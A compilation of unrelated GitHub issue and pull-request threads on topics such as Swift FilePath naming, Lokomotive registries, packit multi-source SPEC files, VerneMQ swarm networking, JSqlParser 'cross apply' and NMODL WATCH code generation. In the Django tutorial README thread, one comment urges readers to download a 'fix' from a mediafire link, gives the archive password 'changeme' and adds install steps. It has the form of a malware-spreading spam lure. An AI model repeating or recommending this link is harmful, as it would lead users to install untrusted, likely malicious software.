FilePath.Component.Kind is meant to be frozen

Legacy DOS devices are definitely not for this area of the library. Kind doesn't differentiate between folders and files, for example.

@milseman / @lorentey We should fix the documentation then, right? Currently, .regular is

/// A file or directory name
case regular

and either untrue of misleading for  /dev/tty, UNIX domain sockets and much more.
Also CC @compnerd , any particular issues on Windows that we'd need to be aware of, the likes of C:\CON\CON or so is what I'm thinking.

This is not stat; /dev/tty is a file- or directory name.

This is not stat; /dev/tty is a file- or directory name.

So why "file- or directory name" or not just "file name" then if we buy into that? As in, what makes the directory special enough the mention it as separate from a file that doesn't apply to say a block device node?

I expect the answer is that directories can sometimes be distinguished syntactically. For example, in /dev/tty, it is pretty clear that dev has the role of a directory.
For me personally, the word "filename" covers directory names, too, but I don't have an issue with consistently clarifying it.


Allow setting up an alternative container registry for Lokomotive

Some users would like to use a different container registry (potentially even a local one for security reasons). Lokomotive doesn't support this use case because we hardcode container images in both cluster and components.
We should allow using an alternative container registry. This might involve exposing all container images for components and control plane to the user so they can customize them.

Should we just allow to generically to use different images for core components? E.g. to test custom etcd version easily?

That sounds like a good idea to me.

Note: we should document, that setting custom images is not officially supported, as they might be set to anything, e.g. busybox:latest.

Because of Docker Hub limits provisioning reliability is now reduced, I think we should prioritize this. See #1225 for more details.


Fix/next on float bug

What kind of change does this PR introduce? (Bug fix, feature, docs update, ...)
This PR fixes an issue with the Next point being wrongly moved to the beginning of the rundown when floating a Part in the current playing segment.

What is the current behavior? (You can also link to an open issue here)

Having a segment with three parts: A, B & C.

A is currently playing, B is Next.

C is removed from the NRCS

The Next point now is moved to the beginning of the rundown

What is the new behavior (if this is a feature change)?
The Next-point shouldn't be moved at all.

Other information:
I've concluded that this bug was due to the ensureNextPartIsValid being called multiple times, one before the updatePartRanks had run, resulting in a bad operation on parts with wrong ranks.
This is a bug that would have been prevented by #117 , but I think it's still good to clean up the function calls a bit.

Status

[x] The functionality has been tested by the PR author
[ ] The functionality has been tested by NRK

Should this be merged in?


As an SRE or dev, I want to have a Taqueria docker image available so that I can run Taqueria locally or in my CI/CD pipeline

Let's pause this for now so pipeline and workflow improvements can be focused on. Moving back to the planning board


added comment field to results

Adds a comment field to results and creates SASIndex. References issue #2

Looks good, this should also add support for "human interaction" down the road.


feat: remove segment.io support, fixes #5365

The Issue

#5365

We stopped actually using Segment.io in v1.22.0 because it's too expensive and we switched to using Amplitude
Now for v1.23, we can just remove that.
Manual Testing Instructions
Manual testing is super-critical here. We need to make absolutely sure that we haven't broken Amplitude

[ ] With amplitude enabled, take actions and see results in Amplitude

Automated Testing Overview

Related Issue Link(s)
Release/Deployment Notes

Thanks for the good eye. turned out that the check on ddev config global wasn't valid any more, we do it only on start (and now on ddev version)
On

This should be cleaned up

That was Simon's hope to remove init() usage in the future, which is definitely a valid hope.

Noticed one more leftover for SegmentKey

I guess I got distracted fixing that and adding the warning to ddev version
Turned out that hadn't been working for ages; we changed a long time ago to only check on ddev start but now added the check to ddev version.

Rebased this and retested, and it seems to be right. I checked go mod tidy and go mod vendor and they seem to be unchanged.


[Ann] New Active Maintainer

Since I haven't heard back from the previous maintainer, I'm taking over maintenance at https://github.com/therootcompany/async-router

@root/async-router on npm.

Now that the error handling bug has been fixed I believe that the fork is "complete", however, I'm actively using it in production projects and plan to continue to do so.
Please open any new issues over there.
Many thanks to @michal-choluj for bringing this about in such a simple and concise manner! 🙏

I'm sorry for not being able to address this earlier. I've been quite busy lately, but I finally found a moment to update the code and implement the suggested fixes. Thank you for bringing it to my attention :)


update README.md and replace TODO with django tutorial link

Django Tutorial project
in README.md line 4

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

*FIXED


[SRPM] More than one source in SPEC

At this moment is seems that SRPM should be created by Source0 only.
If I'm defining multiple sources packit is failing
➜   packit srpm
Please, use 'authentication' key in the user configuration to set tokens for GitHub and Pagure. New method supports more services and direct keys will be removed in the future.
Example:
authentication:
    github.com:
        token: GITHUB_TOKEN
    pagure:
        token: PAGURE_TOKEN
        instance_url: "https://src.fedoraproject.org"

Packit 0.7.2.dev32+gdda72c0 is being used.
Input is a directory: /home/mastyk/work/github.com/StykMartin/restraint
Input directory is an upstream repository.
Using user-defined script for ActionName.create_archive: ['make', 'packit-tgz']
Created archive: restraint-git-7.99daf29.tar.gz
STDERR: error: Bad file: ./openssl-1.0.1m.tar.gz: No such file or directory
error: Bad file: ./cmake-3.2.3.tar.gz: No such file or directory
error: Bad file: ./libssh-0.7.3.tar.xz: No such file or directory
error: Bad file: ./libsoup-2.48.1.tar.xz: No such file or directory
error: Bad file: ./intltool-0.51.0.tar.gz: No such file or directory
error: Bad file: ./sqlite-autoconf-3080002.tar.gz: No such file or directory
error: Bad file: ./xz-5.2.2.tar.gz: No such file or directory
error: Bad file: ./libarchive-3.2.1.tar.gz: No such file or directory
error: Bad file: ./curl-7.29.0.tar.bz2: No such file or directory
error: Bad file: ./libxml2-2.9.1.tar.gz: No such file or directory
error: Bad file: ./bzip2-1.0.6.tar.gz: No such file or directory
error: Bad file: ./zlib-1.2.11.tar.gz: No such file or directory
error: Bad file: ./glib-2.56.1.tar.xz: No such file or directory
error: Bad file: ./libffi-3.1.tar.gz: No such file or directory
    Bad file: ./openssl-1.0.1m.tar.gz: No such file or directory
    Bad file: ./cmake-3.2.3.tar.gz: No such file or directory
    Bad file: ./libssh-0.7.3.tar.xz: No such file or directory
    Bad file: ./libsoup-2.48.1.tar.xz: No such file or directory
    Bad file: ./intltool-0.51.0.tar.gz: No such file or directory
    Bad file: ./sqlite-autoconf-3080002.tar.gz: No such file or directory
    Bad file: ./xz-5.2.2.tar.gz: No such file or directory
    Bad file: ./libarchive-3.2.1.tar.gz: No such file or directory
    Bad file: ./curl-7.29.0.tar.bz2: No such file or directory
    Bad file: ./libxml2-2.9.1.tar.gz: No such file or directory
    Bad file: ./bzip2-1.0.6.tar.gz: No such file or directory
    Bad file: ./zlib-1.2.11.tar.gz: No such file or directory
    Bad file: ./glib-2.56.1.tar.xz: No such file or directory
    Bad file: ./libffi-3.1.tar.gz: No such file or directory

spec
Source0:	https://github.com/beaker-project/%{name}/%{name}-%{version}.tar.gz

%if 0%{?with_static:1}
# Sources for bundled, statically linked libraries
Source101:      http://mirrors.kernel.org/sourceware/libffi/libffi-3.1.tar.gz
Source102:      https://ftp.gnome.org/pub/gnome/sources/glib/2.56/glib-2.56.1.tar.xz
Source103:      http://zlib.net/zlib-1.2.11.tar.gz
Source104:      http://downloads.sourceforge.net/project/bzip2/bzip2-1.0.6.tar.gz
Source105:      http://xmlsoft.org/sources/libxml2-2.9.1.tar.gz
Source106:      https://curl.haxx.se/download/curl-7.29.0.tar.bz2
Source107:      http://libarchive.org/downloads/libarchive-3.2.1.tar.gz
Source108:      http://downloads.sourceforge.net/project/lzmautils/xz-5.2.2.tar.gz
Source109:      http://sqlite.org/2013/sqlite-autoconf-3080002.tar.gz
Source110:      https://launchpad.net/intltool/trunk/0.51.0/+download/intltool-0.51.0.tar.gz
Source111:      http://ftp.gnome.org/pub/GNOME/sources/libsoup/2.48/libsoup-2.48.1.tar.xz
Source112:      https://git.libssh.org/projects/libssh.git/snapshot/libssh-0.7.3.tar.xz
Source113:      http://www.cmake.org/files/v3.2/cmake-3.2.3.tar.gz
Source114:      https://www.openssl.org/source/openssl-1.0.1m.tar.gz
%endif

The action for us here is to download the other sources from the remote locations.

Any ETA for this one?

given Christmas, I'd say that January

@lachmanfrantisek volunteered to look into this before Christmas

Sorry for the delay,
This is a method of Specfile that we probably need: https://rebase-helper.readthedocs.io/en/latest/api/specfile.html#rebasehelper.specfile.SpecFile.download_remote_sources

Method that iterates over all sources and downloads ones, which contain URL instead of just a file.

@StykMartin Is it possible to have those third-party sources as URL? Otherwise, we don't know where to find those files.

@lachmanfrantisek. Yes. I'm expecting that you need URL.

Yes. I'm expecting that you need URL.

OK, then it's quite easy and the fix is here: #643 (I'll only need to add some tests.)

Yes. I'm expecting that you need URL.

OK, then it's quite easy and the fix is here: #643 (I'll only need to add some tests.)

Thanks. I will test it after it is merged to master.


Use project references in sfaproj projects

Currently the sfaproj projects automatically detect service projects via the ´FindServiceProjects´. while this might be convenient in some cases it breaks solutions that contain more than one application (as our solution currently does). In my opinion its also not how msbuild projects works in general.
Instead, sfaproj files should use ProjectReference like other dotnet projects does. Not only would it be more consistent, you could use existing targets to find project references.

The Service Fabric Mesh application model doesn't know about services as independent entities. The top level resource is Application and you will not find e.g. Deploy Service APIs in the runtime. So whatever hits the cluster or service will have to be an application, which is similar to the concept most of you know from the Service Fabric Native model we have today.
This doesn't mean that you cannot combine your containers or service.yaml files in different application constellations, but it has to be a feature supported by some tool. The service.yaml to application resource feature today is in the SDK tool which basically takes any set of yaml files and overlays them to one as an output. You could be fairly creative with the feature for the above use case.
E.g. add the following yaml files to the tool:
service1.yaml service2.yaml override-service1.yaml override-service2.yaml service3.yaml and output an ARM template.
service1.yaml service3.yaml and output an ARM template.


Add ATF component view diagram

Remove link on Confluence.
Add diagram as image.
Please review @OHerasym, @pestOO

Reviewed


Add a mesh directory under the source directory

@yeonatanPerelman & @ShmuelSfez
Add a directory called "mesh" under the "source" directory.
In the directory add a file called "README.md"
In the file, please write a short description of the project you are starting as you understand it. (1-3 paragraphs)

mini_core directory under source

The same mini_cor & mesh under verif.
verif
| mini_core
|----|-- tb
|----|-- tests
Add README.

@yeonatanPerelman @ShmuelSfez
This task should be simple - no need for simulation or anything.
Let me know what holds you back from this task.

I created the mini_core directory with Amichai help.
I will do with you the mesh directory @ShmuelSfez

added mesh dirs and README


Where is a list of the voices bitrate?

In the second note it says:
If your selected voice and output format have different bit rates, the audio is resampled as necessary. However, 24 kHz voices do not support audio-16khz-16kbps-mono-siren and riff-16khz-16kbps-mono-siren output formats.
I checked here https://docs.microsoft.com/en-us/azure/cognitive-services/speech-service/language-support and searched around and couldn't find where the bitrates for the voices are. Where can I find a list that shows what the bitrates for each voice are?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: e351e013-771a-bfdc-0f76-815316c7717d
Version Independent ID: 8c3a1bbe-196a-13b8-f905-b8ea7bfd0e7a
Content: Text-to-speech API reference (REST) - Speech Service - Azure Cognitive Services
Content Source: articles/cognitive-services/Speech-Service/rest-text-to-speech.md
Service: cognitive-services
Sub-service: speech-service
GitHub Login: @erhopf
Microsoft Alias: erhopf

@thed0ctor Thanks for the feedback. We are investigating into the issue and will update you shortly.

@erhopf According to the note each voice could have a different bitrate but they are not updated in the documentation in the language page. Could you please check if this can be updated where the different voices that are listed?

#reassign: @QinyingLiao
@QinyingLiao - Can you help us resolve the bitrate question from @thed0ctor? Thanks!

QinyingLiao is not a valid GitHub ID, or is not a collaborator on this repo.

We are adding this feature to the TTS voice list API. Stay tuned.
A quick answer: all neural voices in 24khz now. Standard voices are 16khz, unless specifically stated in the voice name, e.g., JessaRUS24K.

This issue has been added to the service backlog.
#please-close

Do I understand the list correctly you use 16 bits per sample. Did you Major in signal processing. Do you have any idea what's how many bits you should use per sample. Just slightly annoyed professor here dealing with r*****

right, we use 16bit per sample.  what is your specific question?


Flickering/Overlapping effect in far containers

Hi, firstly, thanks for this project.
I'm facing a problem when i set a container position quite far from the camera. You can reproduce it even in your jsfiddle
https://jsfiddle.net/felixmariotto/y81rf5t2/44/
If you set container position to ( 0, 0, -500 ), size to 500x500 and font size to 40 to make it visible, you will notice that the text renders bad, like it overlaps with the background.

This other screenshot shows another strange thing

The blue block is 100 unit distance from camera and it's shown well, the big black block is 500 unit far and present this bad behaviour i'm talking about. Also it seems like there is a pointlight that cut off the top text.
Any advice on how to solve this?

Hi @ponc83,
Default values are set for rooms setup, having a 500 unit distance, might require increased values.
This is especially the case for https://github.com/felixmariotto/three-mesh-ui/wiki/API-documentation#offset property. It's default value of 0.02 may produces unexpexted behavior at such distance. Try to set offset to 1 or 2 or 10 to check if it solve your issue.
Hopefully that’s it


ClueWeb12B

Hi @canjiali, just wanted to ask if you tried running PARADE on the TREC queries of ClueWeb12-B13? Thank you

hey @lironT74 , we have tested PARADE on the ClueWeb12-B13 dataset but not on TREC queries. It's an NTCIR sub-task, you can check the notebook if you are interested.

@canjiali got it. Thank you!


PDU documentation

Description
As a user, I would like to have PDU documentation to existing code, so I know how to use and what for.
As a user, I would like to have knowledge base to have explanation of UDS terminology, so I could unerstand what is going on even if I am not an expert with UDS.
Acceptance Criteria
ReadTheDocs documentation is udpated, sucessfully builds have following updates:

AbstractPCI, AbstractPDU and AbstractPDURecord classes with explanation what they carry and how to use them
New chapter Uds Knowledge Base is created and contains information about:

N_PDU
N_PCI
Addressing

Spawned by #46


Not Parsing the data

ERROR! Error parsing JSON, got ''
this is the issue that i'm currently getting...
i know my code is not wrong, i followed the Docs step by step.

Please follow one of the templates when submitting an issue, thanks!


Upgrade Pandas to Allow Version 2

Updates the pinned Pandas version to >1.3.0 to allow for users to install Pandas 2

@kmax12 Do we want to do a new release for this?

Yes


feat(debian): migrate to SALSA repository

Debain packages with no release are considered as sid release.
Such packages with sid release are checked in packages list(of each major release) for with greater or equal version to decide release.
Packages and versions in DSA/DLA, rechecked with connected CVE to assign linked vendor ID.
Severity is stored with vulnerability details, may impact light db.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you all sign our Contributor License Agreement before we can accept your contribution.1 out of 2 committers have signed the CLA.:white_check_mark: knqyf263:x: ankk13You have signed the CLA already but the status is still pending? Let us recheck it.

Ref https://github.com/aquasecurity/vuln-list-update/pull/95


rulesEngine draft

Latest improvements:
MSFT employees can try out our new experience at OpenAPI Hub  - one location for using our validation tools and finding your workflow.

Contribution checklist:

[x] I have reviewed the documentation for the workflow.
[x] Validation tools were run on swagger spec(s) and have all been fixed in this PR.
[x] The OpenAPI Hub was used for checking validation status and next steps.

ARM API Review Checklist

[x] Service team MUST add the "WaitForARMFeedback" label if the management plane API changes fall into one of the below categories.
adding/removing APIs.
adding/removing properties.
adding/removing API-version.
adding a new service in Azure.

Failure to comply may result in delays for manifest application. Note this does not apply to data plane APIs.

[x] If you are blocked on ARM review and want to get the PR merged urgently, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.
Please follow the link to find more details on API review process.

      "type": "string"

Comment is not clear how to add multiple key value pairs.

Refers to: specification/cdn/resource-manager/Microsoft.Cdn/stable/2019-04-15/cdn.json:3356 in 971505e. [](commit_id = 971505ee2c82239e1cd8cef2c9c67efbdc919fc4, deletion_comment = False)

    "Lowercase",

remove transforms which we are not going to support

Refers to: specification/cdn/resource-manager/Microsoft.Cdn/stable/2019-04-15/cdn.json:3488 in bb66e26. [](commit_id = bb66e26745f74609662f0fbff3de3a9cdb7c19d4, deletion_comment = False)


DO NOT MERGE commit of a New file to validate probot auto-labeler

It works YAY !!!

Maybe apache avro should enable WIP bot or some equivalent so that DO NOT MERGE is enforced by checks.


MOKO-1438 add moko mvvm

Add moko mvvm library added and a simple usage example given

@BorisTrubitsyn merge actual main to this branch and fix conflicts please

@Alex009 Actual main is merged


Docker swarm example in README does not run

I'm trying to run the docker swarm example from the readme on a two node Ubuntu 20.04 cluster,
> docker node ls
ID                            HOSTNAME                STATUS              AVAILABILITY        MANAGER STATUS      ENGINE VERSION
juc02s45oqew1ogjvivnhci0w *   leader.example.com     Ready               Active              Leader              19.03.12
w247sga7nddzat0qf0odnrnmj     worker1.example.com    Ready               Active                                  19.03.12

The cluster is running an overlay network called net,
> docker network create --driver=overlay net
> docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
ve10fnyo4dkb        net                 overlay             swarm

If I try and deploy the docker swarm example in the README,
# verne.yml
version: "3.7"
services:
  vmq0:
    image: vernemq/vernemq
    environment:
      DOCKER_VERNEMQ_SWARM: 1
  vmq:
    image: vernemq/vernemq
    depends_on:
      - vmq0
    environment:
      DOCKER_VERNEMQ_SWARM: 1
      DOCKER_VERNEMQ_DISCOVERY_NODE: vmq0
    deploy:
      replicas: 2

using,
> docker stack deploy -c verne.yml verne

This service does not start successfully, the logs show the error,
Product license not accepted. Stopping.

This is easily fixable by adding accepting the EULA using DOCKER_VERNEMQ_ACCEPT_EULA and I also allowed anonymous access for simplicity,
# verne.yml
version: "3.7"
services:
  vmq0:
    image: vernemq/vernemq
    environment:
      DOCKER_VERNEMQ_SWARM: 1
      DOCKER_VERNEMQ_ACCEPT_EULA: 'yes'
      DOCKER_VERNEMQ_ALLOW_ANONYMOUS: 'on'
  vmq:
    image: vernemq/vernemq
    depends_on:
      - vmq0
    environment:
      DOCKER_VERNEMQ_SWARM: 1
      DOCKER_VERNEMQ_DISCOVERY_NODE: vmq0
      DOCKER_VERNEMQ_ACCEPT_EULA: 'yes'
      DOCKER_VERNEMQ_ALLOW_ANONYMOUS: 'on'
    deploy:
      replicas: 2

> docker stack deploy -c verne.yml verne
Creating network verne_default
Creating service verne_vmq
Creating service verne_vmq0

The stack now starts,
docker stack ps verne
ID                  NAME                IMAGE                    NODE                    DESIRED STATE       CURRENT STATE                ERROR               PORTS
i5ucnn4gwbx6        verne_vmq0.1        vernemq/vernemq:latest   blah.example.com     Running             Running 2 minutes ago
w1r16uofonjq        verne_vmq.1         vernemq/vernemq:latest   blah.example.com     Running             Running about a minute ago
8i0cti1q35rv        verne_vmq.2         vernemq/vernemq:latest   worker1.example.com   Running             Running about a minute ago

but the logs show that the networking side of things is failing,
> docker service logs verne_vmq0
[warning] can't connect to cluster node<EMAIL_ADDRESS>due to timeout
[warning] can't connect to cluster node<EMAIL_ADDRESS>due to timeout

and,
> docker service logs verne_vmq
[info] successfully connected to cluster node<EMAIL_ADDRESS>[warning] terminate due to remote_node_not_available
[warning] connection to node<EMAIL_ADDRESS>has been closed, reconnect in 1000ms
[warning] can't connect to cluster node<EMAIL_ADDRESS>due to ehostunreach

I noticed that when deploying a default network is made. So I'm going to tell the services to run on the overlay network net,
# verne.yml
version: "3.7"
services:
  vmq0:
    image: vernemq/vernemq
    networks:
      - net
    environment:
      DOCKER_VERNEMQ_SWARM: 1
      DOCKER_VERNEMQ_ACCEPT_EULA: 'yes'
      DOCKER_VERNEMQ_ALLOW_ANONYMOUS: 'on'
  vmq:
    image: vernemq/vernemq
    depends_on:
      - vmq0
    networks:
      - net
    environment:
      DOCKER_VERNEMQ_SWARM: 1
      DOCKER_VERNEMQ_DISCOVERY_NODE: vmq0
      DOCKER_VERNEMQ_ACCEPT_EULA: 'yes'
      DOCKER_VERNEMQ_ALLOW_ANONYMOUS: 'on'
    deploy:
      replicas: 2
networks:
  net:
    external: true

Deploying again,
> docker stack deploy -c verne.yml verne
Creating service verne_vmq
Creating service verne_vmq0

Good, it seems to be using the the overlay network now. However they still cannot find each other on the network,
> docker service logs verne_vmq0
[warning] can't connect to cluster node<EMAIL_ADDRESS>due to timeout
[warning] can't connect to cluster node<EMAIL_ADDRESS>due to timeout

and,
> docker service logs verne_vmq
[info] successfully connected to cluster node<EMAIL_ADDRESS>[warning] terminate due to remote_node_not_available
[warning] connection to node<EMAIL_ADDRESS>has been closed, reconnect in 1000ms

These are the same errors as before.
Does anyone have advice on what I'm doing wrong?
I've tried to outline my approach and problem solving so far.

Update 1
I have verified I get the same behaviour on Ubuntu 20 (LTS) and Ubuntu 18 (LTS).

Update 2
I changed the docker images version to vernemq/vernemq:1.10.0 as it seems the nodes can now find each other.

The listener show command is essential here. It shows the vmq listener running. (this listener is used to set up connections between nodes to exchange messages).
The rest is networking issues/network interface issues etc. (and if it's not, then a Wireshark capture would probably interesting)


[Feature request] Support for "cross apply" syntax for SQL Server

As titled.
Is it easy to add and test this?
And if I want to try building the library locally, is there any quick-start tutorial for modifying JSqlParserCC.jjt to support "cross apply" syntax? It looks like it's using JavaCC.
Sample SQL:
select s.*, c.*, calc2.summary
from student s
join class c on s.class_id = c.id
cross apply (
  select s.first_name + ' ' + s.last_name + ' (' + s.sex + ')' as student_full_name
) calc1
cross apply (
  select case c.some_styling_type when 'A' then c.name + ' - ' + calc1.student_full_name
            when 'B' then calc1.student_full_name + ' - ' + c.name
            else calc1.student_full_name end as summary
) calc2

This sample is not the only use case of "cross apply".
"cross apply" is also used when one needs to apply some db function for each row in the SQL result.

My understanding of cross apply is very limited.  So til now I can not estimate the needed time to make it work.
To build JSQLPARSER from scratch you need maven check JSQLPARSER out and do a mvn clean install and you are done. Cheers Tobias

Hello.
I bumped into the same issue using this great library.
Is there any progress to be expected ?
Thanks

As always PRs are welcome.

I started looking at it :).
It won’t be easy for me though I’m afraid !
Best
Alex

From: Tobias<EMAIL_ADDRESS>Date: 28 December 2018 at 15:00:08 CET
To: JSQLParser/JSqlParser<EMAIL_ADDRESS>Cc: Alexandre Deruaz<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [JSQLParser/JSqlParser] [Feature request] Support for "cross apply" syntax for SQL Server (#344)
As always PRs are welcome.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://github.com/JSQLParser/JSqlParser/issues/344#issuecomment-450363312, or mute the threadhttps://github.com/notifications/unsubscribe-auth/AqDdSUhZ-zVXwl29qDF1bN8AKIxab1Exks5u9iPjgaJpZM4KHXhG.
-----------------------------------------
This email and any files transmitted with it is confidential and may be legally privileged. It is intended solely for the addressee. If you are not the intended recipient, please destroy this e-mail and notify us immediately. Any disclosure, copying or distribution of this e-mail is prohibited and may be unlawful. There are risks in communicating by e-mail. E-mails may be susceptible to data corruption, delay, interception and unauthorized amendment and neither Unigestion nor any of its subsidiaries or affiliates do accept liability for any such corruption, delay, interception or amendment or their consequences. www.unigestion.com

I also faced this issue as some queries that we would like to parse use MS SQL's CROSS APPLY clause.


WalletConnect doesn't work with deprecation of V1 servers

https://docs.walletconnect.com/2.0/advanced/migration-from-v1.x/overview

Perhaps is better to develop for Metamask see:
https://twitter.com/JohnAlanWoods/status/1670883161767571463
https://github.com/algorandfoundation/algo-metamask
Let me know ;-)


Added unique params names

I need unique param names because we will have some parameters that could be query and path parameters at the same time, for example mosaicId.
This change should not break compatibility with the current SDKs.

It's updated automatically (screenshot from _build/openapi3.yml)

@rg911 Thanks!


Tts model

TTS Server is ran in conda environment (tts-server) -> ac2220/main.py

Soz just ignore this pull ill make changes based off what we spoke about
today
On Fri, 9 Feb 2024 at 11:33, Alex Owusu @.***> wrote:

@.**** commented on this pull request.
In desktop/electron/reportProcessing.ts
https://github.com/acowusu/segp/pull/32#discussion_r1484198822:

+interface AudioInfo {

audioUrl: string;
duration: number;
text: string;
+}

+// Takes in an array of strings and returns an array of AudioInfo
+export async function textToAudio(textArray: string[]): Promise<AudioInfo[]> {
+

const audioInfoArray: AudioInfo[] = [];

for (const text of textArray) {

 const postData = new FormData();

 postData.append('script', text);

 const response = await fetch('http://<IP_ADDRESS>:8888/tts/', {

This assumes the server is running on the user's local machine or the port
is being port forwarded. Instead use https://iguana.alexo.uk/tts/
—
Reply to this email directly, view it on GitHub
https://github.com/acowusu/segp/pull/32#pullrequestreview-1872177065,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AJCX2NP4CFJIGH6YGRFC7WDYSYCQFAVCNFSM6AAAAABDANPPM2VHI2DSMVQWIX3LMV43YUDVNRWFEZLROVSXG5CSMV3GSZLXHMYTQNZSGE3TOMBWGU
.
You are receiving this because you authored the thread.Message ID:
@.***>

Close


Can't run WordPress – cloning the repository gets stuck on the progress indicator, manually uploading files errors out too

Description of Bug
I am a WordPress core contributor who's exploring using Stackblitz to power runnable code examples in the official WordPress handbook. I've got WordPress to run in node, but I'm unable to bring that code over to Stackblitz. Cloning a repo starts but never finishes. I'm stuck with the "Cloning repo from GitHub" message:

Uploading the files one by one fails with various errors like HTTP 413 or Make sure you upload files smaller than 10MB. Note I even paid for the "Astronaut" to get unlimited file uploads, but it didn't help.
Right now I can't move forward as there is no way for me to run the project on the platform.
Steps to Reproduce
Go to https://stackblitz.com/github/adamziel/wordpress-wasm/tree/nodejs-runtime and observe the progress indicator spinning ad infinitum.
Alternatively, clone that repository to your local machine and then try to upload the files to Stackblitz one by one. Observe the errors.
Expected Behavior
The files being imported smoothly and without errors.
Screenshots/Screencast

I have transferred this over to https://github.com/stackblitz/webcontainer-core which is the right place for issues related to WebContainer.

Hey @adamziel 👋 . Thanks for creating this issue. We will have to dive deeper into the github importer logic to see what's going on. But you shouldn't see the upload file limit.
In the mean time you could open it with Codeflow instead (https://stackblitz.com/~/github.com/WordPress/wordpress-playground/tree/nodejs-runtime) which will give you much more flexibility.
It seems though that the project is not working? I tested it both in Codeflow and on local and it's the same result.

Also @adamziel, do you still see those messages regarding the 10MB files?

👋  @SamVerschueren I don't see the 10MB limit messages anymore, great!
The project was moved to https://github.com/WordPress/wordpress-playground so I believe the Stackblitz URL would be https://stackblitz.com/github/WordPress/wordpress-playground/tree/trunk – it still keeps spinning and I don't see any network traffic in developer tools either.


How to deal with dynamic stock pool over time

How can we test over a set of dynamic stock pool? For example, I want to test an algorithm over SZ50 components from 2009 to 2020, but the components change over time, i.e., stocks may join or leave the pool at certain times. What is the general method to deal with this situation? Is there any simplified way we can achieve it in FinRL?

How about retraining your model every week or month?

How about retraining your model every week or month? The stock pool May change, but the data is available for retraining the model.

Is there any example that I can look up at present? Thanks.

You can just get the tickers list for the new portfolio in week or month intervals and then re-train the model


Cant Compile plugin with 4.27

Trying to compile the binaries of the 4.27 plugin with visual studio, getting a bunch of linker problems such as:
Error		Unrecognized type 'EOAEngineType' - type must be a UCLASS, USTRUCT or UENUM	OBT	OpenAICallGPT.h	36
probably has to do with the redirs from DefaultOpenAIAPI.ini not working correctly.
The prebuilt 4.27 plugin doesnt not have the whisper functions exposed to BP's.
(Although, the plugin should preferably be able to compile from source)
Thanks for the plugin btw, only one out there that tries to combine all the OpenAI API's in one.

Great intuition! I forgot to update the .ini in my latest commit. Please let me know if it works now :)


Send placeholders properties for CardView

Resolve problem with other languages.

I need it to use in a project in portuguese as well.

Please, bring your pull requests to my repo. I Will maintain this lib.
https://github.com/ebellumat/react-native-credit-card-input


[MNT] python 3.12

This PR adds python 3.12 in the pyproject.toml, project documentation, and CI.
For release with 0.6.0

Codecov Report
All modified lines are covered by tests :white_check_mark:

Comparison is base (38cef3d) 83.60% compared to head (64fac50) 83.57%.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #221      +/-   ##
==========================================
- Coverage   83.60%   83.57%   -0.04%
==========================================
  Files          43       43
  Lines        2843     2843
==========================================
- Hits         2377     2376       -1
- Misses        466      467       +1

see 1 file with indirect coverage changes

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[ENH] cache credentials in-memory

Adds a global Context object to cache credentials in.
This PR is a work in progress towards https://github.com/pydata/pandas-gbq/issues/198 and somewhat towards https://github.com/pydata/pandas-gbq/issues/103.
Do not merge. ~I still need to flesh out the unit tests for this behavior.~ It is a new feature, so we should probably release 0.6.1 with the recent bug fixes first.

This is going to radically reduce the latency, thanks!

Tests running at https://travis-ci.org/tswast/pandas-gbq/builds/423268765

Looks good!

Shall we merge? I'll start testing internally as soon as we do


NMODL generates different WATCH statement logic to MOD2C

While investigating https://github.com/BlueBrain/nmodl/issues/678 we noticed that NMODL generates slightly different logic for WATCH statements than MOD2C. This does not affect the results of the testcorenrn_watch test in the NEURON CTest suite, but it may still be an issue that needs to be resolved.
The following diff modifies the code generated by NMODL to match the logic from MOD2C:
--- hhwatch-original.cpp 2021-06-01 09:31:52.879278000 +0200
+++ hhwatch-patched.cpp  2021-06-01 09:27:37.270874000 +0200
@@ -291,49 +292,47 @@
                     if (v >  -55.0) {
                         if ((inst->watch1[4*pnodecount+id]&1) == 0) {
                             net_send_buffering(ml->_net_send_buffer, 0, inst->tqitem[2*pnodecount+id], 0, inst->point_process[1*pnodecount+id], nt->_t+0.0, 2.0);
-                            inst->watch1[4*pnodecount+id] = 3;
-                        }
-                        else {
-                            inst->watch1[4*pnodecount+id] = 2;
                         }
+                        inst->watch1[4*pnodecount+id] = 3;
+                    } else {
+                        inst->watch1[4*pnodecount+id] = 2;
                     }
                 }
                 if (inst->watch2[5*pnodecount+id]&2) {
                     if (v > 10.0) {
                         if ((inst->watch2[5*pnodecount+id]&1) == 0) {
                             net_send_buffering(ml->_net_send_buffer, 0, inst->tqitem[2*pnodecount+id], 0, inst->point_process[1*pnodecount+id], nt->_t+0.0, 3.0);
-                            inst->watch2[5*pnodecount+id] = 3;
-                        }
-                        else {
-                            inst->watch2[5*pnodecount+id] = 2;
                         }
+                        inst->watch2[5*pnodecount+id] = 3;
+                    } else {
+                        inst->watch2[5*pnodecount+id] = 2;
                     }
                 }
                 if (inst->watch3[6*pnodecount+id]&2) {
                     if (v <  -70.0) {
                         if ((inst->watch3[6*pnodecount+id]&1) == 0) {
                             net_send_buffering(ml->_net_send_buffer, 0, inst->tqitem[2*pnodecount+id], 0, inst->point_process[1*pnodecount+id], nt->_t+0.0, 4.0);
-                            inst->watch3[6*pnodecount+id] = 3;
-                        }
-                        else {
-                            inst->watch3[6*pnodecount+id] = 2;
                         }
+                        inst->watch3[6*pnodecount+id] = 3;
+                    } else {
+                        inst->watch3[6*pnodecount+id] = 2;
                     }
                 }
                 if (inst->watch4[7*pnodecount+id]&2) {
                     if (v >  -55.0) {
                         if ((inst->watch4[7*pnodecount+id]&1) == 0) {
                             net_send_buffering(ml->_net_send_buffer, 0, inst->tqitem[2*pnodecount+id], 0, inst->point_process[1*pnodecount+id], nt->_t+0.0, 2.0);
-                            inst->watch4[7*pnodecount+id] = 3;
-                        }
-                        else {
-                            inst->watch4[7*pnodecount+id] = 2;
                         }
